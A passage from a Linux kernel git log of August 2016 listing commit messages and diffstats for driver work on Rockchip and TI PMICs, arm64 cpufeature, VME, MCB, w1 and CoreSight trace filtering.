Mon Aug 29 13:08:00 2016 +0200 mfd: dt-bindings: Add RK818 device tree bindings document Add device tree bindings documentation for Rockchip's RK818 PMIC. Signed-off-by: Wadim Egorov Acked-by: Rob Herring Signed-off-by: Lee Jones Documentation/devicetree/bindings/mfd/rk808.txt | 37 +++++++++++++++++++++++-- 1 file changed, 34 insertions(+), 3 deletions(-) commit 11375293530bb8434946c8c043f1adf5ffb6be10 Author: Wadim Egorov Date: Mon Aug 29 13:07:59 2016 +0200 regulator: rk808: Add regulator driver for RK818 Add support for the rk818 regulator. The regulator module consists of 4 DCDCs, 9 LDOs, 1 switch and 1 BOOST converter which is used to power OTG and HDMI5V. The output voltages are configurable and are meant to supply power to the main processor and other components. Signed-off-by: Wadim Egorov Acked-by: Mark Brown Signed-off-by: Lee Jones drivers/regulator/Kconfig | 4 +- drivers/regulator/rk808-regulator.c | 143 ++++++++++++++++++++++++++++++++++-- 2 files changed, 138 insertions(+), 9 deletions(-) commit 2eedcbfc0612c87e22c6325fde49ecf140e5873a Author: Wadim Egorov Date: Mon Aug 29 13:07:58 2016 +0200 mfd: rk808: Add RK818 support The RK818 chip is a Power Management IC (PMIC) for multimedia and handheld devices. It contains the following components: - Regulators - RTC - Clocking - Battery support Both RK808 and RK818 chips are using a similar register map, so we can reuse the RTC and Clocking functionality. Signed-off-by: Wadim Egorov Tested-by: Andy Yan Signed-off-by: Lee Jones drivers/mfd/Kconfig | 4 +- drivers/mfd/rk808.c | 226 +++++++++++++++++++++++++++++++++++++++------- include/linux/mfd/rk808.h | 154 +++++++++++++++++++++++++++++-- 3 files changed, 342 insertions(+), 42 deletions(-) commit 675b0563d6b26aa97bb8fe5bbde0ab9dc358433b Author: Ard Biesheuvel Date: Wed Aug 31 11:31:10 2016 +0100 arm64: cpufeature: expose arm64_ftr_reg struct for CTR_EL0 Expose the arm64_ftr_reg struct covering CTR_EL0 outside of cpufeature.o so that other code can refer to it directly (i.e., without performing the binary search) Reviewed-by: Suzuki K Poulose Signed-off-by: Ard Biesheuvel Signed-off-by: Will Deacon arch/arm64/include/asm/cpufeature.h | 2 ++ arch/arm64/kernel/cpufeature.c | 7 ++++++- 2 files changed, 8 insertions(+), 1 deletion(-) commit 6f2b7eeff9dbadeb7366d44086aa34792a996fc9 Author: Ard Biesheuvel Date: Wed Aug 31 11:31:09 2016 +0100 arm64: cpufeature: constify arm64_ftr_regs array Constify the arm64_ftr_regs array, by moving the mutable arm64_ftr_reg fields out of the array itself. This also streamlines the bsearch, since the entire array can be covered by fewer cachelines. Moving the payload out of the array also allows us to have special explicitly defined struct instance in case other code needs to refer to it directly. Note that this replaces the runtime sorting of the array with a runtime BUG() check whether the array is sorted correctly in the code. Reviewed-by: Suzuki K Poulose Signed-off-by: Ard Biesheuvel Signed-off-by: Will Deacon arch/arm64/include/asm/cpufeature.h | 1 - arch/arm64/kernel/cpufeature.c | 46 ++++++++++++++++--------------------- 2 files changed, 20 insertions(+), 27 deletions(-) commit 5e49d73c1d87de50353844d263c1c7664aefeec8 Author: Ard Biesheuvel Date: Wed Aug 31 11:31:08 2016 +0100 arm64: cpufeature: constify arm64_ftr_bits structures The arm64_ftr_bits structures are never modified, so make them read-only. Reviewed-by: Suzuki K Poulose Signed-off-by: Ard Biesheuvel Signed-off-by: Will Deacon arch/arm64/include/asm/cpufeature.h | 14 +++++------ arch/arm64/kernel/cpufeature.c | 46 +++++++++++++++++++------------------ 2 files changed, 31 insertions(+), 29 deletions(-) commit d61f3088ea79c1f11fc8fe869d6f90a4cc97a452 Author: Eli Billauer Date: Fri Jun 24 10:48:30 2016 +0300 char: xillybus: Fix spelling mistake and comment This patch fixes two minor issues: (1) An inaccurate comment (2) A spelling mistake in dev_err message ("upgarde" -> "upgrade") Reported-by: Joe Perches Reported-by: Colin Ian King Signed-off-by: Eli Billauer Signed-off-by: Greg Kroah-Hartman drivers/char/xillybus/xillybus_core.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit c1e8ad231141be21471d2cc624773eb5250c07b3 Author: Zhouyi Zhou Date: Wed Aug 10 16:06:43 2016 +0800 snsc: check return value of class_create return value of class_create should be considered in module init function. Signed-off-by: Zhouyi Zhou Signed-off-by: Greg Kroah-Hartman drivers/char/snsc.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) commit 6a6a4f158037334cbad39817975a87333748c0c2 Author: Kefeng Wang Date: Wed Aug 31 20:38:50 2016 +0800 arm64: cleanup unused UDBG_* define The UDBG_UNDEFINED/SYSCALL/BADABORT/SEGV are only used to show verbose user fault messages in arm, not arm64, drop them. Signed-off-by: Kefeng Wang Signed-off-by: Will Deacon arch/arm64/include/asm/system_misc.h | 6 ------ 1 file changed, 6 deletions(-) commit 537f7ccb396804c6d0057b93ba8eb104ba44f851 Author: Eric W. Biederman Date: Mon Aug 8 14:37:37 2016 -0500 mntns: Add a limit on the number of mount namespaces. v2: Fixed the very obvious lack of setting ucounts on struct mnt_ns reported by Andrei Vagin, and the kbuild test report. Reported-by: Andrei Vagin Acked-by: Kees Cook Signed-off-by: "Eric W. Biederman" fs/mount.h | 1 + fs/namespace.c | 22 +++++++++++++++++++++- include/linux/user_namespace.h | 1 + kernel/ucount.c | 1 + 4 files changed, 24 insertions(+), 1 deletion(-) commit 26ec99b105d5d1465fffed563cfe1a90a7b150fd Author: Arnd Bergmann Date: Mon Jun 27 12:04:18 2016 +0200 char/mwave: remove custom BOOLEAN type The mwave driver has its own macros for the BOOLEAN type and the TRUE/FALSE values. This is redundant because the kernel already has bool/true/false, and it clashes with the ACPI headers that also define these types. The linux/acpi.h header is now included implicitly from mwave through the mc146818rtc.h header, as reported by Stephen Rothwell: In file included from drivers/char/mwave/smapi.c:51:0: drivers/char/mwave/smapi.h:52:0: warning: "TRUE" redefined #define TRUE 1 ^ In file included from include/acpi/acpi.h:58:0, from include/linux/acpi.h:33, from include/linux/mc146818rtc.h:21, from drivers/char/mwave/smapi.c:50: include/acpi/actypes.h:438:0: note: this is the location of the previous definition #define TRUE (1 == 1) ^ This removes the private types from mwave and uses the standard types instead. Signed-off-by: Arnd Bergmann Reviewed-by: Alexandre Belloni Fixes: fd09cc80165c ("rtc: cmos: move mc146818rtc code out of asm-generic/rtc.h") Signed-off-by: Greg Kroah-Hartman drivers/char/mwave/3780i.c | 64 ++++++++++++++++++++++---------------------- drivers/char/mwave/3780i.h | 8 +++--- drivers/char/mwave/mwavedd.c | 42 ++++++++++++++--------------- drivers/char/mwave/mwavedd.h | 14 +++++----- drivers/char/mwave/smapi.c | 4 +-- drivers/char/mwave/smapi.h | 6 +---- drivers/char/mwave/tp3780i.c | 52 +++++++++++++++++------------------ 7 files changed, 93 insertions(+), 97 deletions(-) commit 8b7d3a9d903ee1d1f5febc8e74223e4e72720e35 Author: Sudip Mukherjee Date: Wed Jun 1 17:50:08 2016 +0530 ppdev: use new parport device model Modify ppdev driver to use the new parallel port device model. Initially submitted and committed as: e7223f186033 ("ppdev: use new parport device model") But due to some regression it was reverted by: 1701f680407c ("Revert "ppdev: use new parport device model"") Now that the original source of regression is fixed by: bbca503b2ee0 ("parport: use subsys_initcall") we can again modify ppdev to use device model. Signed-off-by: Sudip Mukherjee Signed-off-by: Greg Kroah-Hartman drivers/char/ppdev.c | 25 ++++++++++++++++++++----- 1 file changed, 20 insertions(+), 5 deletions(-) commit 5ed22cebbacc3d434fe4df5e7178cb2b79042d41 Author: Frank Haverkamp Date: Wed Jun 29 15:47:43 2016 +0200 GenWQE: Change default access rights for device node Since it should always be ok for normal users to operate the accelerator, it makes sense to change it in our driver, rather than adding udev rules for all Linux distributions. Signed-off-by: Frank Haverkamp Reviewed-by: Gabriel Krisman Bertazi Signed-off-by: Greg Kroah-Hartman drivers/misc/genwqe/card_base.c | 15 +++++++++++++++ 1 file changed, 15 insertions(+) commit f618ed218dc01207882a8f02b1310c7daaf5156a Author: Keerthy Date: Wed Aug 31 14:28:12 2016 +0530 regulator: lp873x: Change the MFD config option as per latest naming Change the MFD config option as per latest naming Signed-off-by: Keerthy Acked-by: Mark Brown Signed-off-by: Lee Jones drivers/regulator/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 83f141030cec8861969121582f13ab2caff5c4ba Author: Keerthy Date: Wed Aug 31 14:28:11 2016 +0530 gpio: lp873x: Add support for General Purpose Outputs Add driver for lp873x PMIC family GPOs. Two GPOs are supported and can be configured in Open-drain output or Push-pull output. Signed-off-by: Keerthy Acked-by: Linus Walleij Signed-off-by: Lee Jones drivers/gpio/Kconfig | 10 +++ drivers/gpio/Makefile | 1 + drivers/gpio/gpio-lp873x.c | 193 +++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 204 insertions(+) commit dc21c7ad3a8aad79cb14128c321833a47dc921c2 Author: Keerthy Date: Wed Aug 31 14:28:10 2016 +0530 mfd: lp873x: Add lp873x PMIC support The LP873X chip is a power management IC for Portable Navigation Systems and Tablet Computing devices. It contains the following components: - Regulators. - Configurable General Purpose Output Signals (GPO). PMIC interacts with the main processor through i2c. PMIC has couple of LDOs (Linear Regulators), couple of BUCKs (Step-Down DC-DC Converter Cores) and GPOs (General Purpose Output Signals). Signed-off-by: Keerthy Signed-off-by: Lee Jones drivers/mfd/Kconfig | 14 +++ drivers/mfd/Makefile | 2 + drivers/mfd/lp873x.c | 99 +++++++++++++++++ include/linux/mfd/lp873x.h | 269 +++++++++++++++++++++++++++++++++++++++++++++ 4 files changed, 384 insertions(+) commit d6a38c0ba778abd6683858bfd7c768f7edab2ebb Author: PrasannaKumar Muralidharan Date: Thu Aug 25 22:30:50 2016 +0530 miscdevice: Use module_misc_device() macro This patch removes module_init()/module_exit() from driver code by using module_misc_device() macro. All modules in this patch has a print statement which is removed when module_misc_device() macro is used. If undesirable this patch can be dropped entirely, this is the only purpose of making this as a separate patch. Signed-off-by: PrasannaKumar Muralidharan Signed-off-by: Greg Kroah-Hartman arch/um/drivers/harddog_kern.c | 25 +------------------------ drivers/bluetooth/hci_vhci.c | 16 +--------------- drivers/char/bfin-otp.c | 40 +--------------------------------------- drivers/lightnvm/core.c | 19 +------------------ 4 files changed, 4 insertions(+), 96 deletions(-) commit ca75d601b5942e8cf5eed68f308be0526d0dac5d Author: PrasannaKumar Muralidharan Date: Thu Aug 25 22:30:49 2016 +0530 miscdevice: Add helper macro for misc device boilerplate Many modules call misc_register and misc_deregister in its module init and exit methods without any additional code. This ends up being boilerplate. This patch adds helper macro module_misc_device(), that replaces module_init()/ module_exit() with template functions. This patch also converts drivers to use new macro. Change since v1: Add device.h include in miscdevice.h as module_driver macro was not available from other include files in some architectures. Signed-off-by: PrasannaKumar Muralidharan Signed-off-by: Greg Kroah-Hartman arch/arm/common/bL_switcher_dummy_if.c | 14 +------------- arch/blackfin/mach-bf561/coreb.c | 13 +------------ drivers/hid/uhid.c | 13 +------------ drivers/input/misc/uinput.c | 15 ++------------- drivers/s390/char/sclp_ctl.c | 19 +------------------ drivers/vhost/test.c | 13 +------------ include/linux/miscdevice.h | 8 ++++++++ 7 files changed, 15 insertions(+), 80 deletions(-) commit 832c8232dd7be4977ae9fb9c7cbc4decce19a8fc Author: Linus Walleij Date: Wed Aug 24 16:38:52 2016 +0200 misc: retire the old BMP085 driver Patches merged to the IIO BMP085 driver makes it fully compliant with all features found in this old misc driver. Retire this old driver in favor of the new one in the proper subsystem. Cc: Jonathan Cameron Cc: Marek Belisko Acked-by: H. Nikolaus Schaller Signed-off-by: Linus Walleij Acked-by: Arnd Bergmann Signed-off-by: Greg Kroah-Hartman Documentation/ABI/testing/sysfs-i2c-bmp085 | 31 -- drivers/iio/pressure/Kconfig | 2 - drivers/misc/Kconfig | 28 -- drivers/misc/Makefile | 3 - drivers/misc/bmp085-i2c.c | 83 ----- drivers/misc/bmp085-spi.c | 79 ----- drivers/misc/bmp085.c | 506 ----------------------------- drivers/misc/bmp085.h | 33 -- 8 files changed, 765 deletions(-) commit 4127e80a93e8a4ac009a03a8b0897e89042c7ea0 Author: Takashi Sakamoto Date: Wed Aug 31 21:02:13 2016 +0900 ALSA: seq: initialize whole fields of automatic variable with union type Currently, automatic variable of 'union ioctl_arg' type is initialized by designated initialization. Although, the actual effect is interpretation of early element of int type and initialization of 'int pversion'. Therefore the first field corresponding to int type is initialized to zero. This is against my expectation to initialize whole fields. This commit uses memset() to initialize the variable, instead of designated initialization. Fixes: 04a56dd8ed0d ('ALSA: seq: change ioctl command operation to get data in kernel space') Signed-off-by: Takashi Sakamoto Signed-off-by: Takashi Iwai sound/core/seq/seq_clientmgr.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit 9b9e7d36bdeef2842fd53b2172e95a264c27d362 Author: Alexander Kapshuk Date: Mon Aug 22 21:19:19 2016 +0300 ver_linux: rename ver_linux.awk to ver_linux ver_linux.awk renamed to ver_linux. Signed-off-by: Alexander Kapshuk Signed-off-by: Greg Kroah-Hartman scripts/ver_linux | 89 +++++++++++++++++++++++++++++++++++++++++++++++++++ scripts/ver_linux.awk | 89 --------------------------------------------------- 2 files changed, 89 insertions(+), 89 deletions(-) commit b88396e41794dc3873d9a819f374d369356a6cc6 Author: Alexander Kapshuk Date: Mon Aug 22 21:19:18 2016 +0300 ver_linux: shell implementation removed The shell implementation removed. To be replaced with an all-awk implementation via consecutive patch. Signed-off-by: Alexander Kapshuk Signed-off-by: Greg Kroah-Hartman scripts/ver_linux | 193 ------------------------------------------------------ 1 file changed, 193 deletions(-) commit 2d187d58553becd61677a2db0181ff2c7b07c8a3 Author: Alexander Kapshuk Date: Mon Aug 22 21:19:17 2016 +0300 ver_linux: complete awk implementation The algorithm that extracts the version number of the utility being queried, and prints the name of the utility and its version number is currently implemented in awk. The code is used throughout the script, making its use repetative. The proposed implementation confines the algorithm in question to a function, which makes the script easier to read overall, as well as considerably reduces the number of lines of code. Every attempt has been made to retain the look and the format generated by the current implementation. Signed-off-by: Alexander Kapshuk Signed-off-by: Greg Kroah-Hartman scripts/ver_linux.awk | 89 +++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 89 insertions(+) commit a46b195ca0d88134a6f60dc28532205075c70cff Author: Wei Yongjun Date: Mon Aug 8 13:52:41 2016 +0000 w1: fix timeout_us parameter description Fix 'timeout_us' parameter description. Signed-off-by: Wei Yongjun Signed-off-by: Greg Kroah-Hartman drivers/w1/w1.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 368451ea748ce44cd4b879808735976eb2fded77 Author: Ben Werbowyj Date: Fri Jul 22 14:33:35 2016 +1000 drivers: w1: style corrections-pointers-blanklines-comparisons Correct pointer notations to include whitespace between variable type and "*" character. Inserted blank line after variable declatations at two locations. Rearranged comparison within an if statment to have the constant on the right-hand side. Signed-off-by: Ben Werbowyj Acked-by: Evgeniy Polyakov Signed-off-by: Greg Kroah-Hartman drivers/w1/slaves/w1_therm.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit aaf16f7d98fedb24099361492821fcdc77036eab Author: Ben Werbowyj Date: Fri Jul 22 14:33:34 2016 +1000 drivers: w1: removed assignment from within if statement Assignment of variable count removed from within an if statment. This was done at two locations in the file. Signed-off-by: Ben Werbowyj Acked-by: Evgeniy Polyakov Signed-off-by: Greg Kroah-Hartman drivers/w1/slaves/w1_therm.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit d4c3f97a062969ce52ecc5428e3dbbe93c157dd2 Author: Ben Werbowyj Date: Fri Jul 22 14:33:33 2016 +1000 drivers: w1: style corrections for parenthesis and braces Inserted whitespace between command and open parenthesis at two locations. Removed new line between open brace and command/declaration at two locations. Signed-off-by: Ben Werbowyj Acked-by: Evgeniy Polyakov Signed-off-by: Greg Kroah-Hartman drivers/w1/slaves/w1_therm.c | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) commit 34924b2311b08b22f4bc5f47bc350dba4b35a37f Author: Benedikt Spranger Date: Mon Aug 8 17:54:48 2016 +0200 MAINTAINERS: Saying goodbye to Hans J. Koch We had to say goodbye when Hans passed away recently. Hans was a free-software enthusiast and an active contributor. He was the main author and maintainer of the UIO subsystem and contributed in various ways to the Linux kernel as a professional and hobbyist. He is greatly missed. Signed-off-by: Benedikt Spranger Signed-off-by: Greg Kroah-Hartman CREDITS | 5 +++++ MAINTAINERS | 4 +--- 2 files changed, 6 insertions(+), 3 deletions(-) commit b4a4485ed4c78520f8fe8e63784903b11bedbbfd Author: Kim Phillips Date: Tue Aug 30 14:08:39 2016 -0500 arm64: don't select PERF_USE_VMALLOC by default Any arm64 based parts that have cache aliasing issues can set it manually. Apparently dragged in from ARM(32) defaults in commit 8c2c3df "arm64: Build infrastructure". Signed-off-by: Kim Phillips Cc: Catalin Marinas Signed-off-by: Will Deacon arch/arm64/Kconfig | 1 - 1 file changed, 1 deletion(-) commit cfa88c79462d15098db29edebe623428c3620a4b Author: Michal Marek Date: Tue Aug 30 10:31:35 2016 +0200 arm64: Set UTS_MACHINE in the Makefile The make rpm target depends on proper UTS_MACHINE definition. Also, use the variable in arch/arm64/kernel/setup.c, so that it's not accidentally removed in the future. Reported-and-tested-by: Fabian Vogt Signed-off-by: Michal Marek Signed-off-by: Will Deacon arch/arm64/Makefile | 2 ++ arch/arm64/kernel/Makefile | 2 ++ arch/arm64/kernel/setup.c | 2 +- 3 files changed, 5 insertions(+), 1 deletion(-) commit 339fd36238dd3494bc4617d181e7a37922c29ee9 Author: Peter Ujfalusi Date: Wed Aug 31 14:09:05 2016 +0300 drm: drm_probe_helper: Fix output_poll_work scheduling drm_kms_helper_poll_enable_locked() should check if we have delayed event pending and if we have, schedule the work to run without delay. Currently the output_poll_work is only scheduled if any of the connectors have DRM_CONNECTOR_POLL_CONNECT or DRM_CONNECTOR_POLL_DISCONNECT with DRM_OUTPUT_POLL_PERIOD delay. It does not matter if we have delayed event already registered to be handled. The detection will be delayd by DRM_OUTPUT_POLL_PERIOD in any case. Furthermore if none of the connectors are marked as POLL_CONNECT or POLL_DISCONNECT because all connectors are either POLL_HPD or they are always connected: the output_poll_work will not run at all even if we have delayed event marked. When none of the connectors require polling, their initial status change from unknown to connected/disconnected is not going to be handled until the first kms application starts or if we have fb console enabled. Note that in general the output poll work should be enabled already when this happens, but at driver load usually the first probe happens before the output polling is enabled. This patch fixes this case. Signed-off-by: Peter Ujfalusi [danvet: Note when exactly this is an issue, since the probe code schedules the poll work itself already.] Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/20160831110905.31289-1-peter.ujfalusi@ti.com drivers/gpu/drm/drm_probe_helper.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) commit 658bcdae9c6755806e66b33e29d56b33a3ff421a Author: Martyn Welch Date: Thu Jul 7 19:51:52 2016 +0100 vme: Adding Fake VME driver This patch introduces a fake VME bridge driver. This driver currently emulates a subset of the VME bridge functionality. This allows some VME subsystem development and even some VME device driver development to be carried out in the absence of a proper VME bus. Signed-off-by: Martyn Welch Signed-off-by: Greg Kroah-Hartman drivers/vme/bridges/Kconfig | 8 + drivers/vme/bridges/Makefile | 1 + drivers/vme/bridges/vme_fake.c | 1299 ++++++++++++++++++++++++++++++++++++++++ 3 files changed, 1308 insertions(+) commit 050c3d52cc7810d9d17b8cd231708609af6876ae Author: Paul Gortmaker Date: Sun Jul 3 14:05:56 2016 -0400 vme: make core vme support explicitly non-modular The Kconfig currently controlling compilation of this code is: drivers/vme/Kconfig:menuconfig VME_BUS drivers/vme/Kconfig: bool "VME bridge support" ...meaning that it currently is not being built as a module by anyone. Lets remove the modular code that is essentially orphaned, so that when reading the driver there is no doubt it is builtin-only. We replace module.h and moduleparam.h (unused) with init.h and also export.h ; the latter since this file does export some syms. Since this is a struct bus_type and not a platform_driver, we don't have any ".suppress_bind_attrs" to be concerned about when we drop the ".remove" code from this file. Since module_init was not in use by this code, the init ordering remains unchanged with this commit. Cc: Manohar Vanga Signed-off-by: Paul Gortmaker Acked-by: Martyn Welch Signed-off-by: Greg Kroah-Hartman drivers/vme/vme.c | 27 ++------------------------- 1 file changed, 2 insertions(+), 25 deletions(-) commit 553ebb8e40d5a9135be036cc6ebfdf40bdc1f710 Author: Alessio Igor Bogani Date: Tue Jun 14 16:36:55 2016 +0200 vme: Fix module autoload These drivers have a PCI device ID table but the PCI module alias information is not created so module autoloading won't work. Signed-off-by: Alessio Igor Bogani Acked-by: Martyn Welch Signed-off-by: Greg Kroah-Hartman drivers/vme/bridges/vme_ca91cx42.c | 2 ++ drivers/vme/bridges/vme_tsi148.c | 2 ++ 2 files changed, 4 insertions(+) commit 76deefa3b797cc2014581cb0337dc207e9ab3a3d Author: Martyn Welch Date: Sun Jun 5 21:35:45 2016 +0100 vme: Update documentation to match api The vme_register_driver() api changed in commit 5d6abf379d73 ("staging: vme: make match() driver specific to improve non-VME64x support") but the documentation wasn't updated. Update the documentation to match the API. Signed-off-by: Martyn Welch Signed-off-by: Greg Kroah-Hartman Documentation/vme_api.txt | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) commit fa54b326803d91b04705a6adf0ff963593a9fe5c Author: Aaron Sierra Date: Fri Apr 29 16:41:02 2016 -0500 vme: change LM callback argument to void pointer Make the location monitor callback function prototype more useful by changing the argument from an integer to a void pointer. All VME bridge drivers were simply passing the location monitor index (e.g. 0-3) as the argument to these callbacks. It is much more useful to pass back a pointer to data that the callback-registering driver cares about. There appear to be no in-kernel callers of vme_lm_attach (or vme_lme_request for that matter), so this change only affects the VME subsystem and bridge drivers. This has been tested with Tsi148 hardware, but the CA91Cx42 changes have only been compiled. Signed-off-by: Aaron Sierra Acked-by: Martyn Welch Signed-off-by: Greg Kroah-Hartman Documentation/vme_api.txt | 4 ++-- drivers/vme/bridges/vme_ca91cx42.c | 6 ++++-- drivers/vme/bridges/vme_ca91cx42.h | 3 ++- drivers/vme/bridges/vme_tsi148.c | 6 ++++-- drivers/vme/bridges/vme_tsi148.h | 3 ++- drivers/vme/vme.c | 4 ++-- drivers/vme/vme_bridge.h | 3 ++- include/linux/vme.h | 2 +- 8 files changed, 19 insertions(+), 12 deletions(-) commit 655745b0d1ebeceb0453f1c6adca154a4fac0ad5 Author: Muhammad Falak R Wani Date: Fri May 20 17:48:56 2016 +0530 VMCI: use memdup_user(). Use memdup_user to duplicate a memory region from user-space to kernel-space, instead of open coding using kmalloc & copy_from_user. Signed-off-by: Muhammad Falak R Wani Signed-off-by: Greg Kroah-Hartman drivers/misc/vmw_vmci/vmci_host.c | 14 ++++---------- 1 file changed, 4 insertions(+), 10 deletions(-) commit b58189b3c5cf54689a0c154e4d9cff918a29ab0b Author: Johannes Thumshirn Date: Fri Aug 26 09:35:00 2016 +0200 mcb: remove sub-device handling code The MEN Chameleon specification states that a chameleon FPGA can include a bridge descriptor, which then opens up a new bus behind this bridge. MCB included subdevice handling code in the core, but no support for bus descriptors in the parser, due to a lack of hardware access. As this is technically dead code, but it gets executed on a device add, I've decided to remove it. Signed-off-by: Johannes Thumshirn Signed-off-by: Greg Kroah-Hartman drivers/mcb/mcb-core.c | 17 ----------------- include/linux/mcb.h | 4 ---- 2 files changed, 21 deletions(-) commit 68d9671a845e11c4eec1976876c1af5687a55279 Author: Johannes Thumshirn Date: Fri Aug 26 09:34:59 2016 +0200 mcb: Introduce type safety for to_mcb_* The to_mcb_{bus,device,driver}() macros lacked type safety, so convert them to inline functions to enforce compile time type checking. Signed-off-by: Johannes Thumshirn Signed-off-by: Greg Kroah-Hartman include/linux/mcb.h | 18 +++++++++++++++--- 1 file changed, 15 insertions(+), 3 deletions(-) commit ffc7bb3857e42acab131271e485735cbf673d0f0 Author: Andreas Werner Date: Fri Aug 26 09:34:58 2016 +0200 mcb: Added bar descriptor support for non PCI bus MCB carrier Added support for the bar descriptor. This type is used for FPGAs connect to the LPC or to a non PCI bus. The Bar descriptor could have a maximum of 6 BARs. Each of the devices within the FPGA could be mapped to a different BAR. The BAR descriptor is comparable to the PCI header. Signed-off-by: Andreas Werner [ free bar descriptor in the non-error case ] Signed-off-by: Johannes Thumshirn Signed-off-by: Greg Kroah-Hartman drivers/mcb/mcb-internal.h | 9 ++++ drivers/mcb/mcb-parse.c | 126 ++++++++++++++++++++++++++++++++++++++++----- 2 files changed, 121 insertions(+), 14 deletions(-) commit 73edc8f7cceffe537d6888dc20703123769eb3f6 Author: Andreas Werner Date: Fri Aug 26 09:34:57 2016 +0200 mcb: Added support for LPC or non PCI based MCB carrier Add support for MCB bases FPGAs connected to the LPC or non PCI Bus. This driver currently supports the SC24 board. The FPGA is connected to the LPC bus and is identified using the BIOS DMI string. Signed-off-by: Andreas Werner Signed-off-by: Johannes Thumshirn Signed-off-by: Greg Kroah-Hartman drivers/mcb/Kconfig | 9 +++ drivers/mcb/Makefile | 1 + drivers/mcb/mcb-lpc.c | 158 ++++++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 168 insertions(+) commit 4d31a2588ae37a5d0f61f4d956454e9504846aeb Author: Jan Viktorin Date: Tue May 17 11:22:17 2016 +0200 uio: fix dmem_region_start computation The variable i contains a total number of resources (including IORESOURCE_IRQ). However, we want the dmem_region_start to point after the last resource of type IORESOURCE_MEM. The original behaviour leads (very likely) to skipping several UIO mapping regions and makes them useless. Fix this by computing dmem_region_start from the uiomem which points to the last used UIO mapping. Fixes: 0a0c3b5a24bd ("Add new uio device for dynamic memory allocation") Signed-off-by: Jan Viktorin Signed-off-by: Greg Kroah-Hartman drivers/uio/uio_dmem_genirq.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e97b1c6a8dba967a7c272c3b976ed6d59c7bfad7 Author: Mathieu Poirier Date: Thu Aug 25 15:19:18 2016 -0600 coresight: etm4x: adding configurable start/stop filtering With this patch we add start/stop filtering as specified on the perf cmd line. When the IP matches the start address trace generation gets triggered. The stop condition is achieved when the IP matches the stop address. Signed-off-by: Mathieu Poirier Signed-off-by: Greg Kroah-Hartman drivers/hwtracing/coresight/coresight-etm4x.c | 71 +++++++++++++++++++++++++++ 1 file changed, 71 insertions(+) commit 2703d74c1313271ba78439b0796444add6a9328f Author: Mathieu Poirier Date: Thu Aug 25 15:19:17 2016 -0600 coresight: etm4x: adding configurable address range filtering This patch adds the capability to specify address ranges from the perf cmd line using the --filter option. If the IP falls within the range(s) program flow traces are generated. Signed-off-by: Mathieu Poirier Signed-off-by: Greg Kroah-Hartman drivers/hwtracing/coresight/coresight-etm4x.c | 128 ++++++++++++++++++++++++-- 1 file changed, 119 insertions(+), 9 deletions(-) commit f0d30cc30e545d0b059948f5d6be1b62ee54a355 Author: Mathieu Poirier Date: Thu Aug 25 15:19:16 2016 -0600 coresight: etm4x: configuring include/exclude function The include/exclude function of a tracer is applicable to address range and start/stop filters. To avoid duplication and reuse code moving the include/exclude configuration to a function of its own. Signed-off-by: Mathieu Poirier Signed-off-by: Greg Kroah-Hartman drivers/hwtracing/coresight/coresight-etm4x.c | 35 +++++++++++++++++++-------- 1 file changed, 25 insertions(+), 10 deletions(-) commit 6cccf66354fabb48de88238bf1343f774113a133 Author: Mathieu Poirier Date: Thu Aug 25 15:19:15 2016 -0600 coresight: etm4x: adding range filter configuration function Introducing a new function to do address range configuration generic enough to work for any address range and any comparator. Signed-off-by: Mathieu Poirier Signed-off-by: Greg Kroah-Hartman drivers/hwtracing/coresight/coresight-etm4x.c | 56 ++++++++++++++++++--------- 1 file changed, 38 insertions(+), 18 deletions(-) commit 5edd944b43223257033a12096ad08298b01a47de Author: Mathieu Poirier Date: Thu Aug 25 15:19:14 2016 -0600 coresight: etm4x: cleaning up default filter configuration The default filter configuration was hard to read and included some redundancy. This patch attempts to stream line configuration and improve readability. No change of functionality is included. Signed-off-by: Mathieu Poirier Signed-off-by: Greg Kroah-Hartman drivers/hwtracing/coresight/coresight-etm4x.c | 53 ++++++++++++++------------- 1 file changed, 27 insertions(+), 26 deletions(-) commit 2a5695a585b5aa1fe7b51679f90d994a596a1ec2 Author: Mathieu Poirier Date: Thu Aug 25 15:19:13 2016 -0600 coresight: etm4x: split default and filter configuration Splitting the steps involved in the configuration of a tracer. The first part is generic and can be reused for both sysFS and Perf methods. The second part pertains to the configuration of filters themselves where the source of the information used to configure the filters will vary depending on the access methods. Signed-off-by: Mathieu Poirier Signed-off-by: Greg Kroah-Hartman drivers/hwtracing/coresight/coresight-etm4x.c | 36 ++++++++++++++++----------- 1 file changed, 22 insertions(+), 14 deletions(-) commit ca878b14660c340287fb17d70950cfc09c6d698c Author: Mathieu Poirier Date: Thu Aug 25 15:19:12 2016 -0600 coresight: etm-perf: configuring filters from perf core This patch implements the required API needed to access and retrieve range and start/stop filters from the perf core. Signed-off-by: Mathieu Poirier Signed-off-by: Greg Kroah-Hartman drivers/hwtracing/coresight/coresight-etm-perf.c | 149 ++++++++++++++++++++--- drivers/hwtracing/coresight/coresight-etm-perf.h | 34 ++++++ 2 files changed, 168 insertions(+), 15 deletions(-) commit 2b7adc460ff8bff95f79c03451448895e761c4a6 Author: Mathieu Poirier Date: Thu Aug 25 15:19:11 2016 -0600 coresight: remove duplicated enumeration Both ETMv3 and ETMv4 drivers are declaring an 'enum etm_addr_type', creating reduncancy. This patch removes the enumeration from the driver files and adds it to a common header. Signed-off-by: Mathieu Poirier Signed-off-by: Greg Kroah-Hartman drivers/hwtracing/coresight/coresight-etm.h | 8 -------- drivers/hwtracing/coresight/coresight-etm3x-sysfs.c | 1 + drivers/hwtracing/coresight/coresight-etm4x-sysfs.c | 1 + drivers/hwtracing/coresight/coresight-etm4x.h | 8 -------- drivers/hwtracing/coresight/coresight-priv.h | 8 ++++++++ 5 files changed, 10 insertions(+), 16 deletions(-) commit 